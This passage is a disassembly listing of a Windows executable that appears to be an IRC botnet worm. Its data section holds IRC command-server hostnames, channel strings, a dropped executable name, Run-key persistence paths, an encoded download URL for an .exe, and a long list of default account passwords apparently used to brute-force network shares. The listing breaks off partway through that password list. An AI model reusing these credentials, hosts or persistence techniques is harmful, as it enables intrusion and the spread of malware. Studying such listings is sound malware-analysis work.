error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 10h aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43D03Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o align 4 ; char asc_427C08[] asc_427C08 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o db 0Ah db 'Program: ',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do align 8 dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: ___crtGetStringTypeA+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 ; char VarName[] VarName db 'TZ',0 ; DATA XREF: __tzset+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_4257B7o align 10h ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo align 4 dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: ___crtCompareStringA+5o dd 427E24h off_427D04 dd offset sub_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset sub_4266F6 dd offset dword_427E70 off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_426732 dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o ; char aInvalidStringP[] aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EBC off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_426714 ; char aStringTooLong[] aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F00 off_427D60 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o ; .data:off_43D764o ... ; type_info::`scalar deleting destructor'(uint) dd offset dword_427F30 off_427D68 dd offset sub_426813 ; DATA XREF: exception::exception(char const * const &)+8o ; exception::exception(exception const &)+8o ... dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o align 8 dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo dd 3, 19930520h, 2 dup(0) dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: ___crtLCMapStringW+5o dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: ___crtGetStringTypeW+5o dd 43D764h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF0 dd offset off_43D77C ; DATA XREF: .rdata:00427E08o ; .rdata:00427E54o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E10 dd 3 dup(0) ; DATA XREF: .rdata:00427E34o dd 2, 427E08h, 3 dup(0) dd offset off_43D77C dd offset dword_427E10+4 off_427E38 dd offset off_43D79C ; DATA XREF: .rdata:00427E50o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E38 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E5C dd 3 dup(0) ; DATA XREF: .rdata:00427E80o dd 3, 427E50h dword_427E70 dd 3 dup(0) ; DATA XREF: .rdata:00427D10o dd offset off_43D79C dd offset dword_427E5C+4 off_427E84 dd offset off_43D7BC ; DATA XREF: .rdata:00427E9Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E84 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427EA8 dd 3 dup(0) ; DATA XREF: .rdata:00427ECCo dd 3, 427E9Ch dword_427EBC dd 3 dup(0) ; DATA XREF: .rdata:00427D3Co dd offset off_43D7BC dd offset dword_427EA8+4 off_427ED0 dd offset off_43D7E0 ; DATA XREF: .rdata:00427EE8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED0 dword_427EEC dd 3 dup(0) ; DATA XREF: .rdata:00427F10o dd 1, 427EE8h dword_427F00 dd 3 dup(0) ; DATA XREF: .rdata:00427D5Co dd offset off_43D7E0 dd offset dword_427EEC+4 dd offset dword_427DC0+18h dword_427F18 dd 4 dup(0) ; DATA XREF: .rdata:00427F40o dd 1, 427F14h dword_427F30 dd 3 dup(0) ; DATA XREF: .rdata:00427D64o dd offset off_43D764 dd offset dword_427F18+8 align 8 stru_427F48 dd 19930520h ; Magic ; DATA XREF: .text:loc_426DF7o dd 2 ; Count dd offset stru_427F48.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_426DE0 ; Info.Proc dd 0 ; Info.Id dd offset sub_426DD8 ; Info.Proc stru_427F78 dd 19930520h ; Magic ; DATA XREF: sub_426E14o dd 2 ; Count dd offset stru_427F78.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_426E04 ; Info.Proc dd 0 ; Info.Id dd offset sub_426E0C ; Info.Proc stru_427FA8 dd 19930520h ; Magic ; DATA XREF: sub_426E20o dd 2 ; Count dd offset stru_427FA8.Info; InfoPtr dd 1 ; CountDtr dd offset stru_427FD8 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd 0 ; Info.Proc dd -1 ; Info.Id dd 0 ; Info.Proc stru_427FD8 dd 0, 0, 1 ; _unk ; DATA XREF: .rdata:stru_427FA8o dd 1 ; Count dd offset stru_427FF0 ; RttiBlkPtr dd 0 stru_427FF0 _msRttiDscr <0, 0, 0, offset loc_40D7CB> ; DATA XREF: .rdata:stru_427FD8o stru_428000 _msExcInfo <-1, offset sub_426E2A> ; DATA XREF: .rdata:stru_428008o stru_428008 _msExcept7 <19930520h, 1, offset stru_428000, 0, 0, 0> ; DATA XREF: .text:loc_426E32o align 8 dd offset off_43D764 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D77C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D79C align 8 dd 0FFFFFFFFh, 0 dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: .rdata:00428094o dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428070+8 stru_428098 _msExcInfo <-1, offset sub_426E3C> ; DATA XREF: .rdata:stru_4280A0o stru_4280A0 _msExcept7 <19930520h, 1, offset stru_428098, 0, 0, 0> ; DATA XREF: .text:loc_426E44o stru_4280BC _msExcInfo <-1, offset sub_426E4E> ; DATA XREF: .rdata:stru_4280C4o stru_4280C4 _msExcept7 <19930520h, 1, offset stru_4280BC, 0, 0, 0> ; DATA XREF: .text:loc_426E56o stru_4280E0 _msExcInfo <-1, offset sub_426E60> ; DATA XREF: .rdata:stru_4280E8o stru_4280E8 _msExcept7 <19930520h, 1, offset stru_4280E0, 0, 0, 0> ; DATA XREF: .text:loc_426E68o align 8 dd offset off_43D7BC align 10h dd 0FFFFFFFFh, 0 dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: .rdata:0042813Co dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428118+8 stru_428140 _msExcInfo <-1, offset sub_426E72> ; DATA XREF: .rdata:stru_428148o stru_428148 _msExcept7 <19930520h, 1, offset stru_428140, 0, 0, 0> ; DATA XREF: .text:loc_426E7Ao dword_428164 dd 2, 428040h, 428024h ; DATA XREF: .rdata:0042817Co dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_428164 dd 283A8h, 2 dup(0) dd 2841Eh, 271D8h, 283B0h, 2 dup(0) dd 28434h, 271E0h, 281D0h, 2 dup(0) dd 28CA0h, 27000h, 5 dup(0) dd 28778h, 28C86h, 28C74h, 28C62h, 28C52h, 28C42h, 28C32h dd 28C14h, 28C02h, 28BF0h, 28BDCh, 28BCCh, 28BBEh, 28BAEh dd 28B9Ch, 28B82h, 28B6Ah, 28B50h, 28B36h, 28B1Ah, 28B0Ah dd 28AFAh, 28AEEh, 28ADCh, 28AD0h, 28440h, 2844Eh, 2845Ch dd 2846Eh, 28484h, 2849Ah, 284A2h, 284B2h, 284C0h, 284CEh dd 284E4h, 284F4h, 28500h, 28516h, 2852Ch, 28540h, 28556h dd 28566h, 28576h, 28588h, 28598h, 285A4h, 285B4h, 285C6h dd 285DAh, 285ECh, 285FCh, 2860Ah, 28622h, 2863Ah, 28662h dd 2867Ah, 28686h, 28696h, 286A2h, 286B0h, 286C4h, 286D6h dd 286EAh, 286F8h, 2870Ah, 2871Ch, 2872Ah, 28736h, 2874Eh dd 28768h, 2878Ah, 2879Ch, 287B4h, 287CEh, 287EAh, 287FAh dd 28814h, 28830h, 2883Eh, 28858h, 28864h, 28870h, 28882h dd 28894h, 288A8h, 288B8h, 288CAh, 288DAh, 288E8h, 288FAh dd 2890Ah, 28920h, 2892Eh, 2893Ch, 28958h, 2896Eh, 28984h dd 28990h, 289A6h, 289B6h, 289CAh, 289E0h, 289EEh, 289FAh dd 28A14h, 28A24h, 28A36h, 28A48h, 28A56h, 28A70h, 28A7Eh dd 28A8Ch, 28A9Ah, 28AAAh, 28ABAh, 28AC6h, 0 dd 28408h, 0 dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h dd 28426h, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 0 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aA_2 db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h db '¹',0 aExitprocess db 'ExitProcess',0 a4 db '4',0 aClosehandle db 'CloseHandle',0 aF_2 db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 17Dh aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0C1h ; Á db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 356h aSleep db 'Sleep',0 aO_0 db 'o',0 aCreatethread db 'CreateThread',0 align 2 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 dd 704F0286h, 72506E65h, 7365636Fh, 1430073h aGetcurrentproc db 'GetCurrentProcessId',0 db 71h ; q db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aC_2 db 'C',0 aCopyfilea db 'CopyFileA',0 db 19h db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 15Eh aGetfileattribu db 'GetFileAttributesA',0 align 4 db 7Fh ; db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 10h db 90h ; db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1DFh aGettickcount db 'GetTickCount',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aS_7 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 224h aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 dw 3A4h aWritefile db 'WriteFile',0 aO_1 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 dw 2B5h aReadfile_0 db 'ReadFile',0 align 2 aS_8 db 'S',0 aCreatefilea db 'CreateFileA',0 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentpr_0 db 'GetCurrentProcess',0 aE_0 db 'e',0 aCreatepipe db 'CreatePipe',0 align 4 dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db 'Ä',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ü',0 aFindnextfilea db 'FindNextFileA',0 db 'Ò',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepointer db 'SetFilePointer',0 align 4 db 0EEh ; î db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 8Eh ; Ž db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 2A3h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; ¤ db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 724600F8h, 694C6565h, 72617262h, 1590079h aGetenvironment db 'GetEnvironmentVariableW',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; £ db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0B8h ; ¸ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime db 'GetFileTime',0 db '¼',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 94h ; ” db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 275h aMultibytetowid db 'MultiByteToWideChar',0 db 0C3h ; à db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 5Ah ; Z db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 291h aPeeknamedpipe db 'PeekNamedPipe',0 dw 178h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 6548021Ah, 65527061h, 6F6C6C41h, 2D70063h, 556C7452h dd 6E69776Eh, 1E20064h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 dd 654701C8h, 73795374h, 546D6574h, 656D69h, 654701B7h dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h dd 6E6F6973h, 1580000h aGetenvironme_0 db 'GetEnvironmentVariableA',0 dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B9h aGetstdhandle db 'GetStdHandle',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_0 db 'î',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 10h db 0BAh ; º db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 db ':',0 aComparestringa db 'CompareStringA',0 align 4 db ';',0 aComparestringw db 'CompareStringW',0 align 2 dw 313h aSetenvironment db 'SetEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 _rdata ends ; Section 3. (virtual address 00029000) ; Virtual size : 000B4000 ( 737280.) ; Section size in file : 000B4000 ( 737280.) ; Offset to raw data for section: 00029000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 429000h dword_429000 dd 0 ; DATA XREF: __cinit+1Fo dd offset loc_401205 dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime dd offset sub_40D89B dd offset sub_40E6D4 dword_429014 dd 0 ; DATA XREF: __cinit+1Ao dword_429018 dd 0 ; DATA XREF: __cinit+10o dd offset ___onexitinit dd offset ___initmbctable dd offset ___initstdio dd offset sub_424752 dword_42902C dd 0 ; DATA XREF: __cinit:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: _doexit+65o dd offset ___endstdio dword_429038 dd 0 ; DATA XREF: _doexit:loc_41B833o dword_42903C dd 0 ; DATA XREF: _doexit+76o dd offset sub_424763 dword_429044 dd 3 dup(0) ; DATA XREF: _doexit:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... align 4 dword_42906C dd 1B58h ; DATA XREF: WinMain(x,x,x,x)+4A4r ; WinMain(x,x,x,x)+539r dword_429070 dd 0C8Bh ; DATA XREF: WinMain(x,x,x,x)+585r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r ; sub_40BACE+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r ; sub_40BACE:loc_40BEBFr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr dword_429090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401562r ; sub_41835A+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Cr ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar ; sub_40ACB6+60r ... ; int dword_42909C dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... ; int dword_4290A0 dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r ; char aQsfposs[] aQsfposs db 'qsfposs',0 ; DATA XREF: WinMain(x,x,x,x)+5Do ; sub_401ACD:loc_4044A1o ... aAbosel7Vs db 'abosel7 vs',0 ; DATA XREF: sub_401ACD:loc_404946o align 4 ; char aCool[] aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo ; sub_401ACD+7EABo align 10h ; char Source[] Source db 'saber4.ircqforum.com',0 ; DATA XREF: WinMain(x,x,x,x)+490o ; WinMain(x,x,x,x)+52Ao align 4 ; char aFaak[] aFaak db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o ; WinMain(x,x,x,x)+540o ... align 10h ; char aSaad_[] aSaad_ db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o ; WinMain(x,x,x,x)+552o align 4 ; char byte_4290E8 byte_4290E8 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401789r ; WinMain(x,x,x,x)+576o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 ; char aFaak_0[] aFaak_0 db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co align 4 ; char aSaad__0[] aSaad__0 db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo align 4 ; char Str[] Str db 'nvigqyvja.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o ; WinMain(x,x,x,x)+167w ... align 4 ; char aWidnt_bat[] aWidnt_bat db 'widnt.bat',0 ; DATA XREF: sub_411C14+3Do align 4 aWindsSerscAgts db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: .text:0040AD35o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o align 4 ; char aF[] aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o ; sub_401ACD+3040o ... align 4 ; char aF_0[] aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o align 4 ; char aF_1[] aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o ; sub_401ACD+4217o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Bo ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o ; sub_41A19E+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o ; sub_41A19E+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset byte_43D808 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_1 ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_0 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; 